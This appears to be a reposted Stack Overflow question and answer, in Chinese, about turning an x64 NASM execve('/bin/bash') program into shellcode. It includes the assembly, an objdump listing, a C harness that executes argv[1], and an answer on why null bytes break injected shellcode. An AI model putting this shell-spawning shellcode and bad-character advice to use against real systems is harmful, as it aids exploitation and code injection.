gpt4 book ai didi

c - 如何正确地将汇编程序转换为 shellcode?

转载 作者:行者123 更新时间:2023-12-04 10:51:07 35 4
gpt4 key购买 nike

我用 nasm (x64) 编写了一个程序,它应该执行 /bin/bash ,而且效果很好。然后我用 objdump -D 运行程序我写下了这样的机器代码:\xbb\x68\x53\x48\xbb\x2f\x62\x69\x6e\x2f\x62\x61\x73\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05 .然后我用 ./shell $(python -c 'print "\xbb\x68\x53\x48\xbb\x2f\x62\x69\x6e\x2f\x62\x61\x73\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"') 运行它我收到了非法指令。但是汇编程序运行良好!有人可以帮忙吗?

外壳.c:

int main(int argc, char **argv) {
int (*func)();
func = (int (*)()) argv[1];
(int)(*func)();
}

bash.asm:
section .text
global start
start:
mov rbx, 0x68
push rbx
mov rbx, 0x7361622f6e69622f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 59
syscall


对象转储:
./bash:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <start>:
401000: bb 68 00 00 00 mov $0x68,%ebx
401005: 53 push %rbx
401006: 48 bb 2f 62 69 6e 2f movabs $0x7361622f6e69622f,%rbx
40100d: 62 61 73
401010: 53 push %rbx
401011: 48 89 e7 mov %rsp,%rdi
401014: 50 push %rax
401015: 57 push %rdi
401016: 48 89 e6 mov %rsp,%rsi
401019: b0 3b mov $0x3b,%al
40101b: 0f 05 syscall

最佳答案

您在这里省略了零字节:

\xbb\x68\x53\x48\xbb\x2f\x62\x69\x6e\x2f\x62\x61\x73\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05


  401000:   bb 68 00 00 00          mov    $0x68,%ebx

零字节是指令的一部分,不能跳过。所以你必须包括他们。

然而,问题是零字节会终止参数字符串,因此必须避免。作为 shellcode 设计者,你有责任以某种方式构造它,它不包括可能不会出现的字节值。在许多情况下,这意味着没有零字节,因为 shellcode 作为 C 字符串注入(inject),但其他值在其他情况下也可能有问题。

关于c - 如何正确地将汇编程序转换为 shellcode?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/59469029/

35 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com